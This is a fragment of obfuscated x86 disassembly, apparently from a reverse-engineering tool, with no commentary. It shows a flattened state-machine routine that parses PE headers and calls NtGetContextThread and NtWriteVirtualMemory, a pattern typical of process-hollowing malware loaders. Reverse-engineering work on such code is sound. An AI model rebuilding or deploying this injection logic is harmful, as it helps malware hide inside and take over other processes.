mov ecx, dword [ecx + 4]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call sub.ntdll.dll_NtGetContextThread
mov dword [ebp - 0x16c], 0x588fcf2f
jmp 0x10010203
mov eax, dword [ebp - 0xc4]
mov eax, dword [ebp - 0xc0]
mov dword [ebp - 0x16c], 0x25ca3799
jmp 0x10010203
mov dword [ebp - 0x16c], 0xcd0de658
jmp 0x10010203
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0x16c], 0xbb4539c8
jmp 0x10010203
mov eax, dword [ebp - 0x100]
mov eax, dword [eax]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x168]
mov eax, dword [eax + 0x34]
sub ecx, 0x425ce998
sub ecx, eax
add ecx, 0x425ce998
mov eax, dword [ebp - 0xfc]
mov dword [eax], ecx
mov eax, dword [ebp - 0x144]
mov ecx, dword [eax]
mov eax, dword [ebp - 0xfc]
mov eax, dword [eax]
sub ecx, 0x6ddbd186
add ecx, eax
add ecx, 0x6ddbd186
mov eax, dword [ebp - 0xf8]
mov dword [eax], ecx
mov eax, dword [ebp - 0xf8]
mov eax, dword [0x10070288]
mov ecx, dword [0x10070284]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x5acdf86c
mov ecx, 0xc92d7cc1
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x16c], eax
jmp 0x10010203
mov eax, dword [ebp - 0xe8]
mov eax, dword [ebp - 0xe8]
mov eax, dword [ebp - 0xe8]
mov eax, dword [ebp - 0xe8]
mov eax, dword [ebp - 0xe8]
mov dword [ebp - 0x16c], 0xb88d0742
jmp 0x10010203
mov eax, dword [ebp - 0x15c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x158]
mov ecx, dword [ecx + 4]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call sub.ntdll.dll_NtGetContextThread
mov dword [ebp - 0x16c], 0x7023a651
jmp 0x10010203
mov dword [ebp - 0x16c], 0x11de4b85
jmp 0x10010203
mov eax, dword [ebp - 0x158]
mov eax, dword [eax]
sub esp, 4
mov dword [esp], eax
call fcn.100069e0
add esp, 4
mov ecx, eax
mov eax, dword [ebp - 0x148]
mov dword [eax], ecx
mov eax, dword [ebp - 0x168]
mov ecx, dword [eax + 0x50]
mov eax, dword [ebp - 0x140]
mov dword [eax], ecx
mov eax, dword [ebp - 0x168]
mov ecx, dword [eax + 0xa4]
mov eax, dword [ebp - 0x13c]
mov dword [eax], ecx
mov dword [ebp - 0x16c], 0x5f54ba09
jmp 0x10010203
mov eax, dword [ebp - 0x124]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x90]
imul ecx, ecx, 0x28
add eax, ecx
mov eax, dword [eax + 0xc]
mov ecx, dword [ebp - 0x94]
mov ecx, dword [ebp - 0x94]
mov ecx, dword [ebp - 0x94]
mov ecx, dword [ebp - 0x94]
mov ecx, dword [ebp - 0x94]
mov ecx, dword [ebp - 0x94]
mov ecx, dword [ebp - 0x94]
mov ecx, dword [ebp - 0x94]
mov edx, dword [ebp - 0x94]
sub edx, 0x606add3b
add edx, eax
add edx, 0x606add3b
mov eax, dword [ebp - 0x158]
mov esi, dword [eax]
mov eax, dword [ebp - 0x9c]
mov ecx, dword [ebp - 0x98]
xor edi, edi
sub esp, 0x14
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], 0
call sub.ntdll.dll_NtWriteVirtualMemory
mov eax, dword [ebp - 0x168]
mov eax, dword [eax + 0x38]
mov ecx, dword [ebp - 0x134]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0x124]
imul edx, dword [edx], 0x28
add ecx, edx
mov ecx, dword [ecx + 0x10]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call fcn.100078c0
add esp, 8
mov ecx, eax
mov eax, dword [ebp - 0x120]
mov dword [eax], ecx
mov eax, dword [ebp - 0x128]
mov eax, dword [ebp - 0x134]
mov eax, dword [ebp - 0x124]
mov dword [ebp - 0x16c], 0xbb915c5a
jmp 0x10010203
mov dword [ebp - 0x16c], 0xb85702b8
jmp 0x10010203
mov eax, dword [ebp - 0x144]
mov dword [ebp - 0x16c], 0xbdce9cff
jmp 0x10010203
mov dword [ebp - 0x16c], 0x9f9e3e31
jmp 0x10010203
mov eax, dword [ebp - 0xe0]
mov dword [ebp - 0x16c], 0xe00a7a5f
jmp 0x10010203
mov dword [ebp - 0x16c], 0x6f52905
jmp 0x10010203
jmp 0x10007d60